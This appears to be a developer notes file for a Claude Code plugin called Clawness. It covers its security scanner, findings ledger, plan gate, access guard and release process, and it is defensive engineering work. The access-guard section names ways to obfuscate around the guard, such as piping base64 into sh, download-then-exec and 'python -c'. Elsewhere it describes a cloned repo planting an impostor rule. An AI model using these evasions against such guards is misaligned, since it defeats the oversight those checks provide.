- The premise is that LLM scan variance is in DISCOVERY, not judgment. A model
re-run 5-10 times wanders to different files and free-associates about risk, so a
different subset surfaces each run; whether this line is exploitable is
comparatively stable. So
scan.pymakes discovery deterministic — a regex/lexical sink+source finder (same DNA asguard.py/audit-skills) that returns the same sorted candidate list every run, reducing the LLM to adjudicating a fixed short list. That is the token win, and it is why the enumerator carries zero LLM cost. - It is a tripwire, not a SAST engine — the identical framing to the access guard,
and it must stay in the docs so users don't over-trust it. It over-reports (a
parameterised query that only looks concatenated) and is blind to cross-file taint,
obfuscation, and logic flaws. The
confidencefield and the adjudication pass are what turn a candidate into a verdict; the red team is explicitly told to also hunt what the enumerator can't see. - The id keys on (file, line, class, normalized-snippet) so it is stable across
runs on unchanged code and the ledger dedupes; it deliberately SHIFTS when the code
moves, at which point
merge_scanmarks the old idgoneand adds the new one. Don't "improve" this to a fuzzy/location-independent id — a moved sink genuinely needs re-adjudication, andgonepreserves the old verdict if it was a true move-in-place. merge_scannever re-opens a human verdict. Aconfirmed/false-positive/fixedthat disappears becomesgoneremembering its adjudication (_adjudicated), restored if the sink returns — so a fixed hole that a refactor reintroduces at the same line comes back as its prior verdict, not silentlynew, and a false-positive is never re-litigated. This is the whole point of the ledger: runs accumulate.coverage().converged(no live candidate stillnew) is the "you can stop" signal that replaces "scan 10 times and hope" — report it, don't invent a re-run count.clawness scanis report-only and NOT CI-gated, exactly likeaudit-rules: every finding is a judgment call.--fail-on <severity>is the opt-in gate, and it fires only on UNRESOLVED findings (new/reviewed/confirmed) at/above the floor — afalse-positiveorfixednever fails CI.--set <id> <status>is the verdict-writeback the audit agents call (there is no separate write tool; the orchestrator runs the CLI).--jsonoutput excludes the ledger's timestamps so it is byte-identical run-to-run (a determinism test diffs two runs → empty).- The ledger is gitignored by default — it records where the vulnerabilities are,
so unlike memory.md it must not be committed casually. It rides the existing
.clawness/*ignore block with no negation added; the user can add one to share team triage if they accept that trade. (Earlier plan draft leaned committed-with- opt-out; the ship decision was gitignored-by-default.) /clawness:security-auditis stateful and auto-invoking (strengtheneddescription, same pattern as user-docs): it runsscanfirst, the red team adjudicates onlynewcandidates and writes verdicts back, the blue team fixes and marks them, and it reports coverage. Auto-invocation only surfaces the offer — it still confirms before fanning out sub-agents (WF-SECURITY-AUDIT-001 / the suggested-action wording).- Known limits: the enumerator covers Python, JS/TS, Go, Java/Kotlin/Scala, Ruby, C#
and PHP (the language sink blocks live at the tail of
_PATTERNS, keyed by the_GO/_RB/_JAVA/_CS/_PHPext groups and reusing the 10CLASS_METAclasses —_TAINTcarries each ecosystem's request idioms so the taint-gated classes fire); other langs are shallow. It is line-oriented (a cross-line sink is a miss);broken-authzis a low-confidence heuristic. SARIF/SAST ingestion is built (1.16.0):ingest_sariffolds any*.sarifunder the project (bandit/semgrep/ CodeQL output) in as extra candidates — auto-detected by presence, or--sarif <path>. External ids are re-keyed throughcandidate_id(never the tool's rule id, or the ledger's dedup/gonelogic breaks) and every result maps onto a nativeCLASS_METAclass by CWE tag then ruleId keyword, falling tosast-other(which alone carries the tool's own cwe/severity). Merged through the SAME (file,line, class) dedup as native, native winning. SARIF is JSON, so this needs no new dependency and no SAST tool installed — output only. Fails open (returns [] on any error, a malformed.sarifis skipped), never raises. - The skill RUNS installed scanners; the Python never does (1.19.0).
/clawness:security-auditwrites SARIF to.clawness/security/sast/and passes it via--sarif, because.clawnessis in_SKIP_DIRSand auto-detect would miss it. That location is deliberate: gitignored, so a vulnerability map is never committed by accident. Third-party security skills (Semgrep's, Cloudflare's, secureIO's) are NOT vendored. They update independently, they're the untrusted-instructions surface the trust ledger exists for, and none emits ingestible output except via SARIF.WF-SAST-001routes requests for them. Semgrep--config autouploads the project URL, so the skill usesp/default --metrics=off.
Key files
clawness/core.py— engine (rules loader, tokenizer +_CONCEPT_GROUPS, BM25, TF-IDF, RRF,Clawnessclass,rank_ids, rendering).clawness/memory.py— project-memory parsing + ranking (parse_memory,rank_lessons,render_memory_block). Imports the primitives fromcore, socore.render_memory_blockdelegates via a deferred import to avoid a cycle.clawness/cli.py—clawnessCLI: query, stats, lint, bench, eval, scan, init, plan, agents-md, audit-rules, audit-skills.scanandaudit-rulesare report-only and NOT CI-gated, unlike lint/eval: every check is a judgment call dressed as a number (an overlapping pair may be two correct rules; an unstamped rule may not need a stamp), so--strictis opt-in. Its--overlapuses the engine's own TF-IDF doc vectors, so "similar" means what the retriever means.--max-agedeliberately has no default — an invented cadence gets argued with instead of acted on.clawness/plan.py— plan-gate logic (gate_decision,is_plan_file, session approval).clawness/scan.py— deterministic attack-surface enumerator (enumerate_candidates,candidate_id,coverage_map,CLASS_META) plus SARIF ingestion (ingest_sarif,_parse_sarif_file,_sarif_class). Pure regex/lexical over source files (Python, JS/TS, Go, Java/Kotlin/Scala, Ruby, C#, PHP), zero LLM, stable-sorted output; the discovery half of/clawness:security-audit. Modelled onguard.py's classifier style — a tripwire, not SAST on its own, plus real SAST folded in when*.sarifis present. Opt-outCLAW_NO_SCAN.clawness/findings.py— findings/coverage ledger (merge_scan,set_verdict,coverage,outstanding,load_findings/save_findings). Keyed by candidate id at.clawness/security/findings.json;merge_scanNEVER re-opens aconfirmed/false-positive(a disappeared sink goesgoneremembering its verdict, restored if it returns). Pure merge logic, atomic writes viaplan.atomic_write_text. Gitignored by default — it records where the vulns are, so it rides the existing.clawness/*ignore (no negation added). The convergence signal (coverage().converged) is what replaces "scan 10 times and hope".clawness/guard.py— access-guard logic (classify_tool_call,value_in_project, ask-ledger).clawness/trust.py— trust-ledger logic (scan_artifacts,diff_ledger,scan_injection_tells).clawness/session_state.py— per-session prompt-count/memory-mtime tracking for session-aware re-injection (bump_prompt_count,memory_changed,should_show_full), plus context-watch state (context_snapshot,should_alert_context).clawness/context_watch.py— context-pressure watch (read_context_tokens,infer_limit,assess,render_alert,find_transcript).limit_from_settingsdelegates the settings read tomodel_advisor.read_settings_model(one source of truth for "what model is configured?"), keeping only the[1m]reading here.clawness/model_advisor.py— model-tier advice (normalize_tier,assess,should_advise,render_advice,read_settings_model).clawness/sast.py— SAST readiness for the suggested-actions line (installed_scanners,should_offer,sast_line).whichruns only on prompts that already look like a security request; offers ONE install (Semgrep) once per project via.clawness/sast.json, and always names the fallback (the audit onclawness scan). Opt-outCLAW_NO_SAST_OFFER.clawness/upgrade.py— new-coverage-on-upgrade note (available_domains,newly_covered,check_upgrade,render_note). Ledger.clawness/version.jsonkeyed on the Clawness version; called only fromstack_detect(SessionStart).clawness/staleness.py— version stamps (parse_range,is_above_ceiling,is_armed,stale_rules,summarize,unasked,render_note,WATCHED_LABELS). ImportsVERSION_WATCH_*frominit— one source of truth for the join labels. Called only fromstack_detect(SessionStart), never per prompt.clawness/handoff.py— session handoff (find_handoff,render_handoff_note,describe_age,HANDOFF_TEMPLATE).hooks/— runtime hooks (claude_hook,compress_output,plan_gate,access_guard,trust_ledger,git_check,memory_init,handoff_check,handoff_autostart,stack_detect,changelog_check,claude_md_check,ensure_deps) + setup helpers (setup_settings/agents/skills— manual install only).hooks/_hookutil.pyis shared plumbing (UTF-8 stdio pinned at import,read_payload,session_cwd,git_root,project_root) — imported, never registered. Every SessionStart note hook uses it;git_checkkeeps its own downward tree scan because "is git used anywhere relevant?" is a different question fromgit_root's upward walk.rules/<domain>/*.yml— the corpus (236 rules / 32 domains;_mandatory/= always-on).claude-code/(CC-*) is building Claude Code plugins/hooks/skills, stack-gated and detected from.claude-plugin/*.json,hooks/hooks.jsonor aSKILL.md— never from.claude/, which every project using Claude Code has. Beyond the language domains:llm/(building with models — stack-gated, detected from anthropic/openai/langchain deps),ml/(training/evaluating your OWN models — leakage, CV, calibration — stack-gated on modelling libs sklearn/xgboost/torch/statsmodels, so it fires for any model-training codebase, science or not; note its rule ids use theMLD-prefix becausematlab/ownsML-),science/andresearch/(physics/maths/engineering practice and research method — cross-cutting on purpose, since a researcher often works in a bare or LaTeX-only directory where gating would silence them), plusreliability/,testing/andci/.cfd/,julia/,fortran/,matlab/andr/are stack-gated AND take the narrow floor — see_NARROW_STACK_DOMAINSbelow.astro/is an ordinary off-stack-tier web domain, detected fromastro.config.*or theastrodependency; that detector also impliescss, because scoped<style>blocks inside a component file are a large share of how CSS is written in that stack and no filename glob can see them (the same will hold for Vue/Svelte if they land).vuln-research/(VR-*) is hunting in someone ELSE's code toward private disclosure: containment, scope, variant analysis, dedupe, PoC, CVSS, disclosure. It is topical (_TOPICAL_DOMAINS), not stack-gated — the target repo's stack says nothing about the activity — and must stay apart fromsecurity/, which is about writing your own code safely: at the base floorVR-CLONE-001("treat the repo as hostile") fired on "clone the repo and set up the dev environment". Keep its triggers to research vocabulary; "repo", "install" and "report" alone are everyday words.agents/*.md,skills/<name>/SKILL.md— auto-discovered by the plugin.skills/user-docsauthors user/developer documentation from a codebase scan (Diátaxis + brevity, approval-gated writes);skills/security-auditruns the stateful security audit (see §11);skills/vuln-huntreuses its scan + ledger + red team on third-party code, swapping the blue team's fix for a suggested patch, andskills/vuln-reportwrites the disclosure.suggest_actionsoffers vuln-hunt INSTEAD of security-audit on a hunting prompt — the two end differently (private disclosure vs. a fix), so offering both contradicts. Four rules name a skill —GEN-USERDOCS-001names/clawness:user-docs,WF-SECURITY-AUDIT-001names/clawness:security-audit,VR-CLONE-001names/clawness:vuln-huntandVR-DISCLOSE-001names/clawness:vuln-report— a small deliberate pattern that lightly couples those rules to the skill inventory; each rule's substance is its standard, which stands even if the skill is renamed..claude-plugin/{plugin.json,marketplace.json}— plugin + marketplace manifests.tests/ground_truth.json— labeled eval queries (grow it when adding rule areas).tests/test_cli.py— drives theclawnessCLI as a subprocess. It exists becauselintandevalgate CI, so what matters is that they exit non-zero on bad input, which is invisible when you callcmd_lint/cmd_evaldirectly. It's also the only test that reaches the narrow off-stack tier without a live hook, viaquery --stack.
Design decisions (don't undo without reading these)
- Lexical + concept retrieval only. model2vec/semantic was removed in 0.3.0:
a per-prompt hook is a fresh process every turn, so the model reloaded each time
(blew the hook timeout), and it scored no better than lexical on the eval. The
concept dictionary (
_CONCEPT_GROUPS) is our "semantic" — enrich that for better recall, never add a model to the hot path. - Hook commands use a portable interpreter picker
for p in python3 python py; …(Windows has nopython3; Claude runs hooks via a POSIX shell). Same picker inplugin.jsonand whatsetup_settings.pywrites.- The trailing
; exit 0on every hook command is load-bearing (1.9.0). With no interpreter on PATH everycommand -vfails, the&&short-circuits, and the loop's status is the last failed test — exit 1, with empty stdout and stderr. Claude Code treats a non-zero, non-2 exit as a non-blocking error (only 2 blocks) and shows ahook errornotice plus the first line of stderr: so the user got an unexplained error on every session start, every prompt and every gated tool call, while the plan gate and access guard sat inert andensure_depsnever ran — meaning not even abootstrap.logto diagnose from. Skills and agents keep working (they're markdown), so the plugin looks partly alive, which is what makes it hard to diagnose. - Exactly ONE registration echoes
NO_PYTHON_NOTICE(git_check, the first non-async SessionStart hook). SessionStart stdout becomes context, so that is what actually reaches the user; putting it on all eight would repeat it eight times. The constant lives insetup_settings.pyand is mirrored intoplugin.json, withtests/test_setup_settings.pyasserting they agree and driving the real command string through a real shell withPATH=""(command -vandechoare builtins, so an empty PATH removes every interpreter without breaking the test). - It cannot rescue the Windows Store stub case. On a Windows box with no
Python, the App Execution Aliases put a
python.exe/python3.exeshim on PATH;command -vsucceeds, and a failedexecexits the shell, so nothing afterdoneruns. Untested — needs a clean Windows VM. If that shim ever exits 0 on SessionStart/UserPromptSubmit, its "install from the Microsoft Store" message gets injected as if it were our rules block.
- The trailing
- Plan gate rides native plan mode, and PROMPTS — never hard-blocks.
PreToolUseemitsask(notdeny) for edits until approval is recorded for the session, so an unapproved session is nudged with a native approve dialog, never trapped. Approval is recorded onPostToolUsefor ExitPlanMode (native plan approval) OR for the first completed write (the user approved the ask — gated on atool_responseso a declined ask never settles), so the prompt fires at most once per session. It used todeny, which on the VS Code build has no in-Claude override and pointed users atclawness plan approve— a CLI the plugin path doesn't install, stranding them;askhas a working Yes button, so that trap is gone. Plan-file writes (<config>/plans/) are exempt (is_plan_file) — gating them is a catch-22. Fails open on any error. - The gate has NO per-project off switch, and must never regain one (1.5.0). It had
two —
clawness plan off(plan_gate.enabled:falsein<project>/.clawness/config.json) andclawness plan approve(status:approvedinplan.json, "until reset"). Both were permanent, silent, and project-local, and a plugin install doesn't ship the CLI that undoes them. This repo's own gate sat off for a month before anyone noticed, which is the one failure a process keeper cannot have: an absent prompt is indistinguishable from a working one, so nothing ever surfaces the mistake. Both are gone, along withload_config/save_config/approve/reset/manually_approvedandplan.json.gate_enablednow reads onlyCLAW_NO_PLAN_GATE(dies with the shell) andplan_gate.enabled:falsein<config>/clawness/config.json(global, so it can't be a thing you forgot about in one repo). It still takesrootfor call-site symmetry — don't "restore" a project lookup behind it. Only an explicitfalsedisables; a corrupt or partial config leaves the gate ON, failing toward the prompt rather than toward silence. A stale pre-1.5.0config.json/plan.jsonleft in a project is inert by design andtests/test_semantic_and_plan.pypins that. The global config is registered as a guard control file (_is_global_plan_config) — it lives outside the project, so without that it would key on its parent DIRECTORY and one earlier approved write in~/.claude/clawness/would let a later write silently disable the gate. It's matched by exact path, not "a dir named clawness", because this repo's own checkout is one. - Headless and interactive read the SAME signal,
permission_modeoff the hook payload — there is no separate "are we headless" branch (1.5.0).claude -pstill plans:--permission-mode planbehaves exactly like Shift+Tab, clearing the gate on ExitPlanMode through the identicalrecord_session_approvalpath. What changes is only the modes that mean "edit without asking me" were already chosen up front —acceptEdits/dontAsk/bypassPermissions(PREAUTHORIZED_MODESinplan.py) — where re-asking isn't a second safeguard, it's the same question twice: interactively the harness auto-answers it before a human sees it, headlessly there is no human to answer it, so the only effect of asking anyway is stalling a run the user explicitly configured to be unattended.default/plan/autoare live questions in both contexts and always gate.autoleft the set in 1.19.0 and must not return: since Claude Code 2.1.283 it is the built-in starting mode, so it records no choice, and exempting it silenced the gate for nearly every session. A hookaskstill reaches the human in auto mode, so the intended flow is "plan, approve once, then auto runs freely". Cost: aclaude -pthat starts in auto (third-party providers, 2.1.286) needsacceptEditsorCLAW_NO_PLAN_GATE=1to run unattended. An unrecognized or missingpermission_mode(older Claude Code build, unexpected value) falls through to asking — same fail-toward-prompt direction as the rest of the gate. Don't build a--headless/env-detection heuristic here: the harness already tells you the thing you'd be inferring. - Every shipped agent inherits the session model — no
model:pin, ever. Subagentmodel:defaults toinherit, so pinning it is an ACTIVE override of the user's choice. Until 1.4.0 all seven pinnedsonnet, so an Opus user's/clawness:security-auditsilently ran a tier below what they picked. 1.4.0 freed the judgment agents but keptsonnetontest-writer/perf-auditor/refactor-advisoras a cost saving; that broke differently on a gateway serving a non-Claude model (GLM via OpenRouter): the alias resolves throughANTHROPIC_DEFAULT_SONNET_MODEL, and unset it sends that work to Claude Sonnet, a model the user never chose. All three inherit now. Frontmatter can't be conditional on the backend, so there is no "pin on Anthropic, inherit elsewhere"; a user who wants cheaper mechanical agents setsCLAUDE_CODE_SUBAGENT_MODEL. Never hardcodeopus/fableeither — same error pointed the other way.tests/test_agents.pypins this.effort:/maxTurns:are unrelated and stay. .clawness/rules/overrides by id, and the asymmetry with mandatory is deliberate (1.9.0).add_rulesused to be a pure append, so a project rule and the global rule it meant to override both entered the corpus and competed on lexical score — the stale global copy won a query naming the newer version, with no error and no warning._replace_by_idnow replaces a ranked rule in place (position preserved, so merge order can't perturb ranking). Mandatory rules still append..clawness/rules/is project-local content — exactly the untrusted surface ENF-SEC-006 is about — so under replacement a cloned repo shipping_mandatory/ENF-SEC-006.ymlwould silently remove the real one from every turn. Appending leaves the genuine rule rendering next to a visible impostor. The feature that needed replacement is ranked version overrides, which this costs nothing.- Token efficiency: mandatory rules render compact (id+RULE only);
CLAW_VERBOSE/CLAW_COMPACTtoggle. Keep the per-turn block lean. - Two install paths: plugin (hooks declared in
plugin.json, loaded from cache) vs manual (install.sh/install.ps1→ editablepip install+setup_settings.pywrites hooks tosettings.json). The plugin path does NOT install theclawnessCLI — plugin users verify via/clawness:status. - Skills reach the bundled CLI through a stashed wrapper, NOT
${CLAUDE_PLUGIN_ROOT}(1.10.1). That env var resolves only in hook/MCP JSON config — in a skill's Bash it is EMPTY (upstream anthropics/claude-code#9354, still open), and the plugin never pip-installsclawness(only pyyaml), so a skill'spython -m clawness.cliraisesModuleNotFoundErrorfrom any real project dir.ensure_deps.stash_cli_wrapper()(SessionStart) self-locates the plugin root viaPath(__file__).parent.parent— the same idiom the hooks use to importclawness— and writesclawness-cli.sh(plugin root baked ontoPYTHONPATH, asas_posix()so the sh string needs no backslash escaping and Windows Python still accepts it) to<config>/clawness/for every Claude config dir. The four CLI-using skills (status,refresh,claude-md,audit-rules) callbash "$CLAW"whereCLAW=${CLAUDE_CONFIG_DIR:-$HOME/.claude}/clawness/clawness-cli.sh. Rewritten every session, so a plugin update that relocates the install dir self-heals before any skill runs. It uses its own inline_config_dirs()(mirroringplan._claude_config_dirs) rather than importing it — this bootstrap runs before pyyaml, hence beforeclawness(whose__init__imports core→yaml) is importable, and its contract is to have no import that can fail on a fresh install. The regression test that actually catches the bug runs the generated wrapper from a non-checkout cwd (tests/test_ensure_deps.py); the maintainer's editable checkout onsys.pathmasks it otherwise — the same maintainer-vs-user blind spot that let it ship. Launcher first, wrapper as fallback (1.19.0). #9354 closed in Aug 2026: Claude Code now substitutes${CLAUDE_PLUGIN_ROOT}in a SKILL.md body at load (the Bash tool's environment still lacks it). Skills now try the staticscripts/clawness-cli.sh(self-locates the root;pwd -Wso Git Bash hands Windows PythonC:/…, not/c/…), and[ -f "$CLAW" ] ||falls back to the wrapper. The minimum version that substitutes is unknown, and an unsubstituted reference expands to "" in Bash, so keep the fallback and keepstash_cli_wrapperuntil that version is established and old enough to drop.*.shis pinnedeol=lf: a CRLF checkout breaks the launcher.tests/test_cli_launcher.pypins both branches. - Naming: package
clawness, env varsCLAW_*, project dir.clawness/. (Theinfinri/Writmentions in README and CHANGELOG are upstream credit / historical record — leave those. Everywhere else was renamed to Clawness;install.ps1keeps a-WritDiralias for back-compat only.) - The access guard is a harm-reduction tripwire, not a security boundary. It is
regex/heuristics over tool inputs the agent controls, so a determined adversary can
obfuscate around it (
| base64 -d | sh, download-then-exec,python -c, token munging). It exists to catch honest mistakes and low-effort/injected attacks and to break approval-fatigue autopilot — not to sandbox a hostile agent. The real boundary is the deferred devcontainer + egress allowlist; keep that framing in the docs so users don't over-trust it. Design rule: never nag normal dev work. In-project secret reads and hardcoded/endogenous values are allowed silently; only reaching for secrets outside the project, sending data to a host absent from the codebase, or editing the guard's own kill-switch files (_is_control_file) trips a prompt. When tightening detection, widen DENY conservatively (a false deny blocks real work) and prefer ASK.
Dev workflow
- Test:
python -m pytest tests/(setCLAW_NO_PLAN_GATE=1if the gate blocks your edits in this repo — but unset it before running the suite, since the plan-gate tests assert the gate is on and will fail with it disabled). - Rules:
clawness lint(rejects missing fields and vague phrasing),clawness eval --floor-mrr 0.85 --floor-hit 0.95(MRR@5/hit-rate; CI-gated),clawness stats,clawness bench. - CI (
.github/workflows/ci.yml) runs lint + tests + eval across ubuntu/macOS/windows × py3.10–3.14.
Releasing
marketplace.jsonsets"source": "./", so a push tomainIS a release. Users get whatevermainholds on their nextclaude plugin update— the tag and GitHub release are markers for humans, not the delivery mechanism. Consequence:mainmust never sit ahead of the version it declares. Anything that changes shipped behaviour (rules, hooks, code, manifest copy) needs a version bump in the same push, or the work belongs on a branch until you're ready to release. Pure docs polish (README/CHANGELOG wording, typo fixes) is exempt: it changes nothing users run, and forcing a release for it is noise. Bump when the docs describe a new or changed feature, not when they just read better.- Every version in CHANGELOG.md gets exactly one tag and one GitHub release. Don't leave an entry untagged, and don't stack several unreleased bumps — collapse the batch into one version instead. (v1.2.0 shipped that way: three features, one minor.)
- The sequence: bump the four version places → CHANGELOG entry →
pytest+clawness lint+clawness eval→ commit →git tag -a vX.Y.Z→ pushmainand the tag →gh release create vX.Y.Z --notes-file <extracted CHANGELOG entry>. Verify withgit rev-list -n1 vX.Y.Zagainstorigin/mainandgit show vX.Y.Z:clawness/__init__.py. - Publishing is outward-facing — confirm the release shape with the user before pushing a tag or creating a release.
Gotchas
- Always pass
encoding="utf-8"on file I/O and stdin/stdout. The corpus uses em-dashes/smart-quotes; bareopen()/read_text()/sys.stdindefault to cp1252 on Windows and mangle them into mojibake (—→â€") at load time.clawness lintnow flags non-UTF-8 / U+FFFD rule files; keep new reads/writes UTF-8. - Keep retrieval a couple of ms — no heavy imports or model loads in
claude_hook.py/core.py. It was ~0.8ms at 121 rules, ~1.6ms at 195, and ~3ms at 212 (after adding the__ml__concept group); the concept-expansion pass scales with both corpus size and_CONCEPT_GROUPS, so measure withclawness benchwhen adding either. - Version lives in 4 places — bump
pyproject.toml,.claude-plugin/plugin.json,.claude-plugin/marketplace.json, andclawness/__init__.py(__version__) together, and add a CHANGELOG entry.tests/test_version.pyasserts all four agree + a CHANGELOG entry exists, so a drift fails CI. - Rule YAML:
id, domain, severity, tags, triggers, when, rule, violation, correct(concept terms must be single tokens; multi-word phrases never match). {{CURRENT_DATE}}in any rule field is replaced at render time with the live month + year (e.g. "June 2026") — see_DATE_TOKEN/_current_dateincore.py. Substituted only on render, not in the search text, so retrieval stays date-independent.ENF-CURRENT-001uses it.- Two things can't be tested from a sandbox: a real
pip install -e .completing, and plugin hooks on a real Windows + python.org box. Smoke-test both before release. The access guard's decline path is now covered two ways so it's no longer a load-bearing manual check:tests/test_access_guard_hook.pydrives the real hook at the dispatch level (PreToolUse recordspending, PostToolUse confirms only WITH atool_response), and the confirm additionally requires that execution evidence — so even if a build ever fired PostToolUse for a declined call, it wouldn't settle. A real-session decline click-test (ask → "no" → retry → must ask again) is still a nice final sanity check, but defense-in-depth no longer rests on it. - A guard write-test whose project root is a
mkdtemp()dir proves nothing about the root check._classify_writeexempts anything undertempfile.gettempdir()unconditionally, andtests/test_guard.py::_projectbuilds its roots there — so the temp clause, not_within(p, root), is what allows those writes. Measured: deleting_within(p, root)outright left all 88 guard tests green. Any test that means to exercise the project-root boundary (or the plan-file exemption, sameorchain) must first point the temp exemption elsewhere — seetest_in_project_write_is_allowed_by_the_root_check_not_the_temp_exemption. - Run any mutation/sabotage harness with
PYTHONDONTWRITEBYTECODE=1. The usual shape is: write a mutant into the real source → run pytest in a subprocess → restore. Two same-sized mutations in a row (renaming an env-var string, flipping a comparison) can land in one coarse mtime bucket, and CPython's.pycvalidity check is (mtime, source size) — so the second run silently imports the first mutant's bytecode and the mutation is reported as surviving. Four mutants in the 1.6.0 audit looked uncaught for exactly this reason and were killed on a clean re-run. This is a different failure from the false survivors mutmut itself reports (weak test selection); both mean the same thing — apply the mutant by hand and confirm green before writing a test for it. - Two mutants in the 1.6.0 audit are equivalent, not gaps. Don't re-chase them.
rank_lessons'if top_k <= 0(a< 0variant is unobservable — the downstream[: top_k * 2]and[:top_k]slices empty out at 0 anyway), andtfidf_map.get(i, 0.0)'s default (BM25 and TF-IDF run over the same tokenization and both slice totop_k * 2, so an index BM25 ranks is never absent from the TF-IDF map; the default is unreachable). Both were probed against real corpora before being classified. - When a source file carries two byte-identical guards, a positional
str.replace(old, new, 1)mutates only the first.core.py's "build_index() must be called" check appears in both_rankandretrieve; a harness that mutates one and tests the other reports a false survivor. Mutate every copy, or anchor on surrounding context.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

